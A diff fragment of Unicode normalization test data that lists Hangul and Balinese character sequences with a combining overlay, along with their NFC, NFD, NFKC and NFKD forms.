+{ source: [0x1105, 0x0334, 0x116D], NFC: [0x1105, 0x0334, 0x116D], NFD: [0x1105, 0x0334, 0x116D], NFKC: [0x1105, 0x0334, 0x116D], NFKD: [0x1105, 0x0334, 0x116D] },
+{ source: [0x1106, 0x0334, 0x1165], NFC: [0x1106, 0x0334, 0x1165], NFD: [0x1106, 0x0334, 0x1165], NFKC: [0x1106, 0x0334, 0x1165], NFKD: [0x1106, 0x0334, 0x1165] },
+{ source: [0x1106, 0x0334, 0x1172], NFC: [0x1106, 0x0334, 0x1172], NFD: [0x1106, 0x0334, 0x1172], NFKC: [0x1106, 0x0334, 0x1172], NFKD: [0x1106, 0x0334, 0x1172] },
+{ source: [0x1107, 0x0334, 0x116A], NFC: [0x1107, 0x0334, 0x116A], NFD: [0x1107, 0x0334, 0x116A], NFKC: [0x1107, 0x0334, 0x116A], NFKD: [0x1107, 0x0334, 0x116A] },
+{ source: [0x1108, 0x0334, 0x1162], NFC: [0x1108, 0x0334, 0x1162], NFD: [0x1108, 0x0334, 0x1162], NFKC: [0x1108, 0x0334, 0x1162], NFKD: [0x1108, 0x0334, 0x1162] },
+{ source: [0x1108, 0x0334, 0x116F], NFC: [0x1108, 0x0334, 0x116F], NFD: [0x1108, 0x0334, 0x116F], NFKC: [0x1108, 0x0334, 0x116F], NFKD: [0x1108, 0x0334, 0x116F] },
+{ source: [0x1109, 0x0334, 0x1167], NFC: [0x1109, 0x0334, 0x1167], NFD: [0x1109, 0x0334, 0x1167], NFKC: [0x1109, 0x0334, 0x1167], NFKD: [0x1109, 0x0334, 0x1167] },
+{ source: [0x1109, 0x0334, 0x1174], NFC: [0x1109, 0x0334, 0x1174], NFD: [0x1109, 0x0334, 0x1174], NFKC: [0x1109, 0x0334, 0x1174], NFKD: [0x1109, 0x0334, 0x1174] },
+{ source: [0x110A, 0x0334, 0x116C], NFC: [0x110A, 0x0334, 0x116C], NFD: [0x110A, 0x0334, 0x116C], NFKC: [0x110A, 0x0334, 0x116C], NFKD: [0x110A, 0x0334, 0x116C] },
+{ source: [0x110B, 0x0334, 0x1164], NFC: [0x110B, 0x0334, 0x1164], NFD: [0x110B, 0x0334, 0x1164], NFKC: [0x110B, 0x0334, 0x1164], NFKD: [0x110B, 0x0334, 0x1164] },
+{ source: [0x110B, 0x0334, 0x1171], NFC: [0x110B, 0x0334, 0x1171], NFD: [0x110B, 0x0334, 0x1171], NFKC: [0x110B, 0x0334, 0x1171], NFKD: [0x110B, 0x0334, 0x1171] },
+{ source: [0x110C, 0x0334, 0x1169], NFC: [0x110C, 0x0334, 0x1169], NFD: [0x110C, 0x0334, 0x1169], NFKC: [0x110C, 0x0334, 0x1169], NFKD: [0x110C, 0x0334, 0x1169] },
+{ source: [0x110D, 0x0334, 0x1161], NFC: [0x110D, 0x0334, 0x1161], NFD: [0x110D, 0x0334, 0x1161], NFKC: [0x110D, 0x0334, 0x1161], NFKD: [0x110D, 0x0334, 0x1161] },
+{ source: [0x110D, 0x0334, 0x116E], NFC: [0x110D, 0x0334, 0x116E], NFD: [0x110D, 0x0334, 0x116E], NFKC: [0x110D, 0x0334, 0x116E], NFKD: [0x110D, 0x0334, 0x116E] },
+{ source: [0x110E, 0x0334, 0x1166], NFC: [0x110E, 0x0334, 0x1166], NFD: [0x110E, 0x0334, 0x1166], NFKC: [0x110E, 0x0334, 0x1166], NFKD: [0x110E, 0x0334, 0x1166] },
+{ source: [0x110E, 0x0334, 0x1173], NFC: [0x110E, 0x0334, 0x1173], NFD: [0x110E, 0x0334, 0x1173], NFKC: [0x110E, 0x0334, 0x1173], NFKD: [0x110E, 0x0334, 0x1173] },
+{ source: [0x110F, 0x0334, 0x116B], NFC: [0x110F, 0x0334, 0x116B], NFD: [0x110F, 0x0334, 0x116B], NFKC: [0x110F, 0x0334, 0x116B], NFKD: [0x110F, 0x0334, 0x116B] },
+{ source: [0x1110, 0x0334, 0x1163], NFC: [0x1110, 0x0334, 0x1163], NFD: [0x1110, 0x0334, 0x1163], NFKC: [0x1110, 0x0334, 0x1163], NFKD: [0x1110, 0x0334, 0x1163] },
+{ source: [0x1110, 0x0334, 0x1170], NFC: [0x1110, 0x0334, 0x1170], NFD: [0x1110, 0x0334, 0x1170], NFKC: [0x1110, 0x0334, 0x1170], NFKD: [0x1110, 0x0334, 0x1170] },
+{ source: [0x1111, 0x0334, 0x1168], NFC: [0x1111, 0x0334, 0x1168], NFD: [0x1111, 0x0334, 0x1168], NFKC: [0x1111, 0x0334, 0x1168], NFKD: [0x1111, 0x0334, 0x1168] },
+{ source: [0x1111, 0x0334, 0x1175], NFC: [0x1111, 0x0334, 0x1175], NFD: [0x1111, 0x0334, 0x1175], NFKC: [0x1111, 0x0334, 0x1175], NFKD: [0x1111, 0x0334, 0x1175] },
+{ source: [0x1112, 0x0334, 0x116D], NFC: [0x1112, 0x0334, 0x116D], NFD: [0x1112, 0x0334, 0x116D], NFKC: [0x1112, 0x0334, 0x116D], NFKD: [0x1112, 0x0334, 0x116D] },
+{ source: [0x1B05, 0x0334, 0x1B35], NFC: [0x1B05, 0x0334, 0x1B35], NFD: [0x1B05, 0x0334, 0x1B35], NFKC: [0x1B05, 0x0334, 0x1B35], NFKD: [0x1B05, 0x0334, 0x1B35] },
+{ source: [0x1B07, 0x0334, 0x1B35], NFC: [0x1B07, 0x0334, 0x1B35], NFD: [0x1B07, 0x0334, 0x1B35], NFKC: [0x1B07, 0x0334, 0x1B35], NFKD: [0x1B07, 0x0334, 0x1B35] },
+{ source: [0x1B09, 0x0334, 0x1B35], NFC: [0x1B09, 0x0334, 0x1B35], NFD: [0x1B09, 0x0334, 0x1B35], NFKC: [0x1B09, 0x0334, 0x1B35], NFKD: [0x1B09, 0x0334, 0x1B35] },
+{ source: [0x1B0B, 0x0334, 0x1B35], NFC: [0x1B0B, 0x0334, 0x1B35], NFD: [0x1B0B, 0x0334, 0x1B35], NFKC: [0x1B0B, 0x0334, 0x1B35], NFKD: [0x1B0B, 0x0334, 0x1B35] },
+{ source: [0x1B0D, 0x0334, 0x1B35], NFC: [0x1B0D, 0x0334, 0x1B35], NFD: [0x1B0D, 0x0334, 0x1B35], NFKC: [0x1B0D, 0x0334, 0x1B35], NFKD: [0x1B0D, 0x0334, 0x1B35] },
+{ source: [0x1B11, 0x0334, 0x1B35], NFC: [0x1B11, 0x0334, 0x1B35], NFD: [0x1B11, 0x0334, 0x1B35], NFKC: [0x1B11, 0x0334, 0x1B35], NFKD: [0x1B11, 0x0334, 0x1B35] },
+{ source: [0x1B3A, 0x0334, 0x1B35], NFC: [0x1B3A, 0x0334, 0x1B35], NFD: [0x1B3A, 0x0334, 0x1B35], NFKC: [0x1B3A, 0x0334, 0x1B35], NFKD: [0x1B3A, 0x0334, 0x1B35] },
+{ source: [0x1B3C, 0x0334, 0x1B35], NFC: [0x1B3C, 0x0334, 0x1B35], NFD: [0x1B3C, 0x0334, 0x1B35], NFKC: [0x1B3C, 0x0334, 0x1B35], NFKD: [0x1B3C, 0x0334, 0x1B35] },
+{ source: [0x1B3E, 0x0334, 0x1B35], NFC: [0x1B3E, 0x0334, 0x1B35], NFD: [0x1B3E, 0x0334, 0x1B35], NFKC: [0x1B3E, 0x0334, 0x1B35], NFKD: [0x1B3E, 0x0334, 0x1B35] },
+{ source: [0x1B3F, 0x0334, 0x1B35], NFC: [0x1B3F, 0x0334, 0x1B35], NFD: [0x1B3F, 0x0334, 0x1B35], NFKC: [0x1B3F, 0x0334, 0x1B35], NFKD: [0x1B3F, 0x0334, 0x1B35] },
+{ source: [0x1B42, 0x0334, 0x1B35], NFC: [0x1B42, 0x0334, 0x1B35], NFD: [0x1B42, 0x0334, 0x1B35], NFKC: [0x1B42, 0x0334, 0x1B35], NFKD: [0x1B42, 0x0334, 0x1B35] },
+{ source: [0xAC54, 0x0334, 0x11AE], NFC: [0xAC54, 0x0334, 0x11AE], NFD: [0x1100, 0x1164, 0x0334, 0x11AE], NFKC: [0xAC54, 0x0334, 0x11AE], NFKD: [0x1100, 0x1164, 0x0334, 0x11AE] },
+{ source: [0xACA8, 0x0334, 0x11B5], NFC: [0xACA8, 0x0334, 0x11B5], NFD: [0x1100, 0x1167, 0x0334, 0x11B5], NFKC: [0xACA8, 0x0334, 0x11B5], NFKD: [0x1100, 0x1167, 0x0334, 0x11B5] },
+{ source: [0xACFC, 0x0334, 0x11BC], NFC: [0xACFC, 0x0334, 0x11BC], NFD: [0x1100, 0x116A, 0x0334, 0x11BC], NFKC: [0xACFC, 0x0334, 0x11BC], NFKD: [0x1100, 0x116A, 0x0334, 0x11BC] },
+{ source: [0xADC0, 0x0334, 0x11AE], NFC: [0xADC0, 0x0334, 0x11AE], NFD: [0x1100, 0x1171, 0x0334, 0x11AE], NFKC: [0xADC0, 0x0334, 0x11AE], NFKD: [0x1100, 0x1171, 0x0334, 0x11AE] },
+{ source: [0xAE14, 0x0334, 0x11B5], NFC: [0xAE14, 0x0334, 0x11B5], NFD: [0x1100, 0x1174, 0x0334, 0x11B5], NFKC: [0xAE14, 0x0334, 0x11B5], NFKD: [0x1100, 0x1174, 0x0334, 0x11B5] },
+{ source: [0xAE68, 0x0334, 0x11BC], NFC: [0xAE68, 0x0334, 0x11BC], NFD: [0x1101, 0x1162, 0x0334, 0x11BC], NFKC: [0xAE68, 0x0334, 0x11BC], NFKD: [0x1101, 0x1162, 0x0334, 0x11BC] },
+{ source: [0xAF2C, 0x0334, 0x11AE], NFC: [0xAF2C, 0x0334, 0x11AE], NFD: [0x1101, 0x1169, 0x0334, 0x11AE], NFKC: [0xAF2C, 0x0334, 0x11AE], NFKD: [0x1101, 0x1169, 0x0334, 0x11AE] },
+{ source: [0xAF80, 0x0334, 0x11B5], NFC: [0xAF80, 0x0334, 0x11B5], NFD: [0x1101, 0x116C, 0x0334, 0x11B5], NFKC: [0xAF80, 0x0334, 0x11B5], NFKD: [0x1101, 0x116C, 0x0334, 0x11B5] },
+{ source: [0xAFD4, 0x0334, 0x11BC], NFC: [0xAFD4, 0x0334, 0x11BC], NFD: [0x1101, 0x116F, 0x0334, 0x11BC], NFKC: [0xAFD4, 0x0334, 0x11BC], NFKD: [0x1101, 0x116F, 0x0334, 0x11BC] },
+{ source: [0xB098, 0x0334, 0x11AE], NFC: [0xB098, 0x0334, 0x11AE], NFD: [0x1102, 0x1161, 0x0334, 0x11AE], NFKC: [0xB098, 0x0334, 0x11AE], NFKD: [0x1102, 0x1161, 0x0334, 0x11AE] },
+{ source: [0xB0EC, 0x0334, 0x11B5], NFC: [0xB0EC, 0x0334, 0x11B5], NFD: [0x1102, 0x1164, 0x0334, 0x11B5], NFKC: [0xB0EC, 0x0334, 0x11B5], NFKD: [0x1102, 0x1164, 0x0334, 0x11B5] },
+{ source: [0xB140, 0x0334, 0x11BC], NFC: [0xB140, 0x0334, 0x11BC], NFD: [0x1102, 0x1167, 0x0334, 0x11BC], NFKC: [0xB140, 0x0334, 0x11BC], NFKD: [0x1102, 0x1167, 0x0334, 0x11BC] },
+{ source: [0xB204, 0x0334, 0x11AE], NFC: [0xB204, 0x0334, 0x11AE], NFD: [0x1102, 0x116E, 0x0334, 0x11AE], NFKC: [0xB204, 0x0334, 0x11AE], NFKD: [0x1102, 0x116E, 0x0334, 0x11AE] },
+{ source: [0xB258, 0x0334, 0x11B5], NFC: [0xB258, 0x0334, 0x11B5], NFD: [0x1102, 0x1171, 0x0334, 0x11B5], NFKC: [0xB258, 0x0334, 0x11B5], NFKD: [0x1102, 0x1171, 0x0334, 0x11B5] },
+{ source: [0xB2AC, 0x0334, 0x11BC], NFC: [0xB2AC, 0x0334, 0x11BC], NFD: [0x1102, 0x1174, 0x0334, 0x11BC], NFKC: [0xB2AC, 0x0334, 0x11BC], NFKD: [0x1102, 0x1174, 0x0334, 0x11BC] },
+{ source: [0xB370, 0x0334, 0x11AE], NFC: [0xB370, 0x0334, 0x11AE], NFD: [0x1103, 0x1166, 0x0334, 0x11AE], NFKC: [0xB370, 0x0334, 0x11AE], NFKD: [0x1103, 0x1166, 0x0334, 0x11AE] },
+{ source: [0xB3C4, 0x0334, 0x11B5], NFC: [0xB3C4, 0x0334, 0x11B5], NFD: [0x1103, 0x1169, 0x0334, 0x11B5], NFKC: [0xB3C4, 0x0334, 0x11B5], NFKD: [0x1103, 0x1169, 0x0334, 0x11B5] },
+{ source: [0xB418, 0x0334, 0x11BC], NFC: [0xB418, 0x0334, 0x11BC], NFD: [0x1103, 0x116C, 0x0334, 0x11BC], NFKC: [0xB418, 0x0334, 0x11BC], NFKD: [0x1103, 0x116C, 0x0334, 0x11BC] },
+{ source: [0xB4DC, 0x0334, 0x11AE], NFC: [0xB4DC, 0x0334, 0x11AE], NFD: [0x1103, 0x1173, 0x0334, 0x11AE], NFKC: [0xB4DC, 0x0334, 0x11AE], NFKD: [0x1103, 0x1173, 0x0334, 0x11AE] },
+{ source: [0xB530, 0x0334, 0x11B5], NFC: [0xB530, 0x0334, 0x11B5], NFD: [0x1104, 0x1161, 0x0334, 0x11B5], NFKC: [0xB530, 0x0334, 0x11B5], NFKD: [0x1104, 0x1161, 0x0334, 0x11B5] },
+{ source: [0xB584, 0x0334, 0x11BC], NFC: [0xB584, 0x0334, 0x11BC], NFD: [0x1104, 0x1164, 0x0334, 0x11BC], NFKC: [0xB584, 0x0334, 0x11BC], NFKD: [0x1104, 0x1164, 0x0334, 0x11BC] },
+{ source: [0xB648, 0x0334, 0x11AE], NFC: [0xB648, 0x0334, 0x11AE], NFD: [0x1104, 0x116B, 0x0334, 0x11AE], NFKC: [0xB648, 0x0334, 0x11AE], NFKD: [0x1104, 0x116B, 0x0334, 0x11AE] },
+{ source: [0xB69C, 0x0334, 0x11B5], NFC: [0xB69C, 0x0334, 0x11B5], NFD: [0x1104, 0x116E, 0x0334, 0x11B5], NFKC: [0xB69C, 0x0334, 0x11B5], NFKD: [0x1104, 0x116E, 0x0334, 0x11B5] },
+{ source: [0xB6F0, 0x0334, 0x11BC], NFC: [0xB6F0, 0x0334, 0x11BC], NFD: [0x1104, 0x1171, 0x0334, 0x11BC], NFKC: [0xB6F0, 0x0334, 0x11BC], NFKD: [0x1104, 0x1171, 0x0334, 0x11BC] },
+{ source: [0xB7B4, 0x0334, 0x11AE], NFC: [0xB7B4, 0x0334, 0x11AE], NFD: [0x1105, 0x1163, 0x0334, 0x11AE], NFKC: [0xB7B4, 0x0334, 0x11AE], NFKD: [0x1105, 0x1163, 0x0334, 0x11AE] },
+{ source: [0xB808, 0x0334, 0x11B5], NFC: [0xB808, 0x0334, 0x11B5], NFD: [0x1105, 0x1166, 0x0334, 0x11B5], NFKC: [0xB808, 0x0334, 0x11B5], NFKD: [0x1105, 0x1166, 0x0334, 0x11B5] },
+{ source: [0xB85C, 0x0334, 0x11BC], NFC: [0xB85C, 0x0334, 0x11BC], NFD: [0x1105, 0x1169, 0x0334, 0x11BC], NFKC: [0xB85C, 0x0334, 0x11BC], NFKD: [0x1105, 0x1169, 0x0334, 0x11BC] },
+{ source: [0xB920, 0x0334, 0x11AE], NFC: [0xB920, 0x0334, 0x11AE], NFD: [0x1105, 0x1170, 0x0334, 0x11AE], NFKC: [0xB920, 0x0334, 0x11AE], NFKD: [0x1105, 0x1170, 0x0334, 0x11AE] },
+{ source: [0xB974, 0x0334, 0x11B5], NFC: [0xB974, 0x0334, 0x11B5], NFD: [0x1105, 0x1173, 0x0334, 0x11B5], NFKC: [0xB974, 0x0334, 0x11B5], NFKD: [0x1105, 0x1173, 0x0334, 0x11B5] },
+{ source: [0xB9C8, 0x0334, 0x11BC], NFC: [0xB9C8, 0x0334, 0x11BC], NFD: [0x1106, 0x1161, 0x0334, 0x11BC], NFKC: [0xB9C8, 0x0334, 0x11BC], NFKD: [0x1106, 0x1161, 0x0334, 0x11BC] },
+{ source: [0xBA8C, 0x0334, 0x11AE], NFC: [0xBA8C, 0x0334, 0x11AE], NFD: [0x1106, 0x1168, 0x0334, 0x11AE], NFKC: [0xBA8C, 0x0334, 0x11AE], NFKD: [0x1106, 0x1168, 0x0334, 0x11AE] },
+{ source: [0xBAE0, 0x0334, 0x11B5], NFC: [0xBAE0, 0x0334, 0x11B5], NFD: [0x1106, 0x116B, 0x0334, 0x11B5], NFKC: [0xBAE0, 0x0334, 0x11B5], NFKD: [0x1106, 0x116B, 0x0334, 0x11B5] },
+{ source: [0xBB34, 0x0334, 0x11BC], NFC: [0xBB34, 0x0334, 0x11BC], NFD: [0x1106, 0x116E, 0x0334, 0x11BC], NFKC: [0xBB34, 0x0334, 0x11BC], NFKD: [0x1106, 0x116E, 0x0334, 0x11BC] },
+{ source: [0xBBF8, 0x0334, 0x11AE], NFC: [0xBBF8, 0x0334, 0x11AE], NFD: [0x1106, 0x1175, 0x0334, 0x11AE], NFKC: [0xBBF8, 0x0334, 0x11AE], NFKD: [0x1106, 0x1175, 0x0334, 0x11AE] },
+{ source: [0xBC4C, 0x0334, 0x11B5], NFC: [0xBC4C, 0x0334, 0x11B5], NFD: [0x1107, 0x1163, 0x0334, 0x11B5], NFKC: [0xBC4C, 0x0334, 0x11B5], NFKD: [0x1107, 0x1163, 0x0334, 0x11B5] },
+{ source: [0xBCA0, 0x0334, 0x11BC], NFC: [0xBCA0, 0x0334, 0x11BC], NFD: [0x1107, 0x1166, 0x0334, 0x11BC], NFKC: [0xBCA0, 0x0334, 0x11BC], NFKD: [0x1107, 0x1166, 0x0334, 0x11BC] },
+{ source: [0xBD64, 0x0334, 0x11AE], NFC: [0xBD64, 0x0334, 0x11AE], NFD: [0x1107, 0x116D, 0x0334, 0x11AE], NFKC: [0xBD64, 0x0334, 0x11AE], NFKD: [0x1107, 0x116D, 0x0334, 0x11AE] },
+{ source: [0xBDB8, 0x0334, 0x11B5], NFC: [0xBDB8, 0x0334, 0x11B5], NFD: [0x1107, 0x1170, 0x0334, 0x11B5], NFKC: [0xBDB8, 0x0334, 0x11B5], NFKD: [0x1107, 0x1170, 0x0334, 0x11B5] },
+{ source: [0xBE0C, 0x0334, 0x11BC], NFC: [0xBE0C, 0x0334, 0x11BC], NFD: [0x1107, 0x1173, 0x0334, 0x11BC], NFKC: [0xBE0C, 0x0334, 0x11BC], NFKD: [0x1107, 0x1173, 0x0334, 0x11BC] },
+{ source: [0xBED0, 0x0334, 0x11AE], NFC: [0xBED0, 0x0334, 0x11AE], NFD: [0x1108, 0x1165, 0x0334, 0x11AE], NFKC: [0xBED0, 0x0334, 0x11AE], NFKD: [0x1108, 0x1165, 0x0334, 0x11AE] },
+{ source: [0xBF24, 0x0334, 0x11B5], NFC: [0xBF24, 0x0334, 0x11B5], NFD: [0x1108, 0x1168, 0x0334, 0x11B5], NFKC: [0xBF24, 0x0334, 0x11B5], NFKD: [0x1108, 0x1168, 0x0334, 0x11B5] },
+{ source: [0xBF78, 0x0334, 0x11BC], NFC: [0xBF78, 0x0334, 0x11BC], NFD: [0x1108, 0x116B, 0x0334, 0x11BC], NFKC: [0xBF78, 0x0334, 0x11BC], NFKD: [0x1108, 0x116B, 0x0334, 0x11BC] },
+{ source: [0xC03C, 0x0334, 0x11AE], NFC: [0xC03C, 0x0334, 0x11AE], NFD: [0x1108, 0x1172, 0x0334, 0x11AE], NFKC: [0xC03C, 0x0334, 0x11AE], NFKD: [0x1108, 0x1172, 0x0334, 0x11AE] },
+{ source: [0xC090, 0x0334, 0x11B5], NFC: [0xC090, 0x0334, 0x11B5], NFD: [0x1108, 0x1175, 0x0334, 0x11B5], NFKC: [0xC090, 0x0334, 0x11B5], NFKD: [0x1108, 0x1175, 0x0334, 0x11B5] },
+{ source: [0xC0E4, 0x0334, 0x11BC], NFC: [0xC0E4, 0x0334, 0x11BC], NFD: [0x1109, 0x1163, 0x0334, 0x11BC], NFKC: [0xC0E4, 0x0334, 0x11BC], NFKD: [0x1109, 0x1163, 0x0334, 0x11BC] },
+{ source: [0xC1A8, 0x0334, 0x11AE], NFC: [0xC1A8, 0x0334, 0x11AE], NFD: [0x1109, 0x116A, 0x0334, 0x11AE], NFKC: [0xC1A8, 0x0334, 0x11AE], NFKD: [0x1109, 0x116A, 0x0334, 0x11AE] },
+{ source: [0xC1FC, 0x0334, 0x11B5], NFC: [0xC1FC, 0x0334, 0x11B5], NFD: [0x1109, 0x116D, 0x0334, 0x11B5], NFKC: [0xC1FC, 0x0334, 0x11B5], NFKD: [0x1109, 0x116D, 0x0334, 0x11B5] },
+{ source: [0xC250, 0x0334, 0x11BC], NFC: [0xC250, 0x0334, 0x11BC], NFD: [0x1109, 0x1170, 0x0334, 0x11BC], NFKC: [0xC250, 0x0334, 0x11BC], NFKD: [0x1109, 0x1170, 0x0334, 0x11BC] },
+{ source: [0xC314, 0x0334, 0x11AE], NFC: [0xC314, 0x0334, 0x11AE], NFD: [0x110A, 0x1162, 0x0334, 0x11AE], NFKC: [0xC314, 0x0334, 0x11AE], NFKD: [0x110A, 0x1162, 0x0334, 0x11AE] },
+{ source: [0xC368, 0x0334, 0x11B5], NFC: [0xC368, 0x0334, 0x11B5], NFD: [0x110A, 0x1165, 0x0334, 0x11B5], NFKC: [0xC368, 0x0334, 0x11B5], NFKD: [0x110A, 0x1165, 0x0334, 0x11B5] },
+{ source: [0xC3BC, 0x0334, 0x11BC], NFC: [0xC3BC, 0x0334, 0x11BC], NFD: [0x110A, 0x1168, 0x0334, 0x11BC], NFKC: [0xC3BC, 0x0334, 0x11BC], NFKD: [0x110A, 0x1168, 0x0334, 0x11BC] },
+{ source: [0xC480, 0x0334, 0x11AE], NFC: [0xC480, 0x0334, 0x11AE], NFD: [0x110A, 0x116F, 0x0334, 0x11AE], NFKC: [0xC480, 0x0334, 0x11AE], NFKD: [0x110A, 0x116F, 0x0334, 0x11AE] },
+{ source: [0xC4D4, 0x0334, 0x11B5], NFC: [0xC4D4, 0x0334, 0x11B5], NFD: [0x110A, 0x1172, 0x0334, 0x11B5], NFKC: [0xC4D4, 0x0334, 0x11B5], NFKD: [0x110A, 0x1172, 0x0334, 0x11B5] },
+{ source: [0xC528, 0x0334, 0x11BC], NFC: [0xC528, 0x0334, 0x11BC], NFD: [0x110A, 0x1175, 0x0334, 0x11BC], NFKC: [0xC528, 0x0334, 0x11BC], NFKD: [0x110A, 0x1175, 0x0334, 0x11BC] },
+{ source: [0xC5EC, 0x0334, 0x11AE], NFC: [0xC5EC, 0x0334, 0x11AE], NFD: [0x110B, 0x1167, 0x0334, 0x11AE], NFKC: [0xC5EC, 0x0334, 0x11AE], NFKD: [0x110B, 0x1167, 0x0334, 0x11AE] },
+{ source: [0xC640, 0x0334, 0x11B5], NFC: [0xC640, 0x0334, 0x11B5], NFD: [0x110B, 0x116A, 0x0334, 0x11B5], NFKC: [0xC640, 0x0334, 0x11B5], NFKD: [0x110B, 0x116A, 0x0334, 0x11B5] },
+{ source: [0xC694, 0x0334, 0x11BC], NFC: [0xC694, 0x0334, 0x11BC], NFD: [0x110B, 0x116D, 0x0334, 0x11BC], NFKC: [0xC694, 0x0334, 0x11BC], NFKD: [0x110B, 0x116D, 0x0334, 0x11BC] },
+{ source: [0xC758, 0x0334, 0x11AE], NFC: [0xC758, 0x0334, 0x11AE], NFD: [0x110B, 0x1174, 0x0334, 0x11AE], NFKC: [0xC758, 0x0334, 0x11AE], NFKD: [0x110B, 0x1174, 0x0334, 0x11AE] },
+{ source: [0xC7AC, 0x0334, 0x11B5], NFC: [0xC7AC, 0x0334, 0x11B5], NFD: [0x110C, 0x1162, 0x0334, 0x11B5], NFKC: [0xC7AC, 0x0334, 0x11B5], NFKD: [0x110C, 0x1162, 0x0334, 0x11B5] },
+{ source: [0xC800, 0x0334, 0x11BC], NFC: [0xC800, 0x0334, 0x11BC], NFD: [0x110C, 0x1165, 0x0334, 0x11BC], NFKC: [0xC800, 0x0334, 0x11BC], NFKD: [0x110C, 0x1165, 0x0334, 0x11BC] },
+{ source: [0xC8C4, 0x0334, 0x11AE], NFC: [0xC8C4, 0x0334, 0x11AE], NFD: [0x110C, 0x116C, 0x0334, 0x11AE], NFKC: [0xC8C4, 0x0334, 0x11AE], NFKD: [0x110C, 0x116C, 0x0334, 0x11AE] },
+{ source: [0xC918, 0x0334, 0x11B5], NFC: [0xC918, 0x0334, 0x11B5], NFD: [0x110C, 0x116F, 0x0334, 0x11B5], NFKC: [0xC918, 0x0334, 0x11B5], NFKD: [0x110C, 0x116F, 0x0334, 0x11B5] },
+{ source: [0xC96C, 0x0334, 0x11BC], NFC: [0xC96C, 0x0334, 0x11BC], NFD: [0x110C, 0x1172, 0x0334, 0x11BC], NFKC: [0xC96C, 0x0334, 0x11BC], NFKD: [0x110C, 0x1172, 0x0334, 0x11BC] },
+{ source: [0xCA30, 0x0334, 0x11AE], NFC: [0xCA30, 0x0334, 0x11AE], NFD: [0x110D, 0x1164, 0x0334, 0x11AE], NFKC: [0xCA30, 0x0334, 0x11AE], NFKD: [0x110D, 0x1164, 0x0334, 0x11AE] },
+{ source: [0xCA84, 0x0334, 0x11B5], NFC: [0xCA84, 0x0334, 0x11B5], NFD: [0x110D, 0x1167, 0x0334, 0x11B5], NFKC: [0xCA84, 0x0334, 0x11B5], NFKD: [0x110D, 0x1167, 0x0334, 0x11B5] },
+{ source: [0xCAD8, 0x0334, 0x11BC], NFC: [0xCAD8, 0x0334, 0x11BC], NFD: [0x110D, 0x116A, 0x0334, 0x11BC], NFKC: [0xCAD8, 0x0334, 0x11BC], NFKD: [0x110D, 0x116A, 0x0334, 0x11BC] },
+{ source: [0xCB9C, 0x0334, 0x11AE], NFC: [0xCB9C, 0x0334, 0x11AE], NFD: [0x110D, 0x1171, 0x0334, 0x11AE], NFKC: [0xCB9C, 0x0334, 0x11AE], NFKD: [0x110D, 0x1171, 0x0334, 0x11AE] },
+{ source: [0xCBF0, 0x0334, 0x11B5], NFC: [0xCBF0, 0x0334, 0x11B5], NFD: [0x110D, 0x1174, 0x0334, 0x11B5], NFKC: [0xCBF0, 0x0334, 0x11B5], NFKD: [0x110D, 0x1174, 0x0334, 0x11B5] },
+{ source: [0xCC44, 0x0334, 0x11BC], NFC: [0xCC44, 0x0334, 0x11BC], NFD: [0x110E, 0x1162, 0x0334, 0x11BC], NFKC: [0xCC44, 0x0334, 0x11BC], NFKD: [0x110E, 0x1162, 0x0334, 0x11BC] },
+{ source: [0xCD08, 0x0334, 0x11AE], NFC: [0xCD08, 0x0334, 0x11AE], NFD: [0x110E, 0x1169, 0x0334, 0x11AE], NFKC: [0xCD08, 0x0334, 0x11AE], NFKD: [0x110E, 0x1169, 0x0334, 0x11AE] },
+{ source: [0xCD5C, 0x0334, 0x11B5], NFC: [0xCD5C, 0x0334, 0x11B5], NFD: [0x110E, 0x116C, 0x0334, 0x11B5], NFKC: [0xCD5C, 0x0334, 0x11B5], NFKD: [0x110E, 0x116C, 0x0334, 0x11B5] },
+{ source: [0xCDB0, 0x0334, 0x11BC], NFC: [0xCDB0, 0x0334, 0x11BC], NFD: [0x110E, 0x116F, 0x0334, 0x11BC], NFKC: [0xCDB0, 0x0334, 0x11BC], NFKD: [0x110E, 0x116F, 0x0334, 0x11BC] },
+{ source: [0xCE74, 0x0334, 0x11AE], NFC: [0xCE74, 0x0334, 0x11AE], NFD: [0x110F, 0x1161, 0x0334, 0x11AE], NFKC: [0xCE74, 0x0334, 0x11AE], NFKD: [0x110F, 0x1161, 0x0334, 0x11AE] },
+{ source: [0xCEC8, 0x0334, 0x11B5], NFC: [0xCEC8, 0x0334, 0x11B5], NFD: [0x110F, 0x1164, 0x0334, 0x11B5], NFKC: [0xCEC8, 0x0334, 0x11B5], NFKD: [0x110F, 0x1164, 0x0334, 0x11B5] },
+{ source: [0xCF1C, 0x0334, 0x11BC], NFC: [0xCF1C, 0x0334, 0x11BC], NFD: [0x110F, 0x1167, 0x0334, 0x11BC], NFKC: [0xCF1C, 0x0334, 0x11BC], NFKD: [0x110F, 0x1167, 0x0334, 0x11BC] },
+{ source: [0xCFE0, 0x0334, 0x11AE], NFC: [0xCFE0, 0x0334, 0x11AE], NFD: [0x110F, 0x116E, 0x0334, 0x11AE], NFKC: [0xCFE0, 0x0334, 0x11AE], NFKD: [0x110F, 0x116E, 0x0334, 0x11AE] },
+{ source: [0xD034, 0x0334, 0x11B5], NFC: [0xD034, 0x0334, 0x11B5], NFD: [0x110F, 0x1171, 0x0334, 0x11B5], NFKC: [0xD034, 0x0334, 0x11B5], NFKD: [0x110F, 0x1171, 0x0334, 0x11B5] },
+{ source: [0xD088, 0x0334, 0x11BC], NFC: [0xD088, 0x0334, 0x11BC], NFD: [0x110F, 0x1174, 0x0334, 0x11BC], NFKC: [0xD088, 0x0334, 0x11BC], NFKD: [0x110F, 0x1174, 0x0334, 0x11BC] },
+{ source: [0xD14C, 0x0334, 0x11AE], NFC: [0xD14C, 0x0334, 0x11AE], NFD: [0x1110, 0x1166, 0x0334, 0x11AE], NFKC: [0xD14C, 0x0334, 0x11AE], NFKD: [0x1110, 0x1166, 0x0334, 0x11AE] },
+{ source: [0xD1A0, 0x0334, 0x11B5], NFC: [0xD1A0, 0x0334, 0x11B5], NFD: [0x1110, 0x1169, 0x0334, 0x11B5], NFKC: [0xD1A0, 0x0334, 0x11B5], NFKD: [0x1110, 0x1169, 0x0334, 0x11B5] },
+{ source: [0xD1F4, 0x0334, 0x11BC], NFC: [0xD1F4, 0x0334, 0x11BC], NFD: [0x1110, 0x116C, 0x0334, 0x11BC], NFKC: [0xD1F4, 0x0334, 0x11BC], NFKD: [0x1110, 0x116C, 0x0334, 0x11BC] },
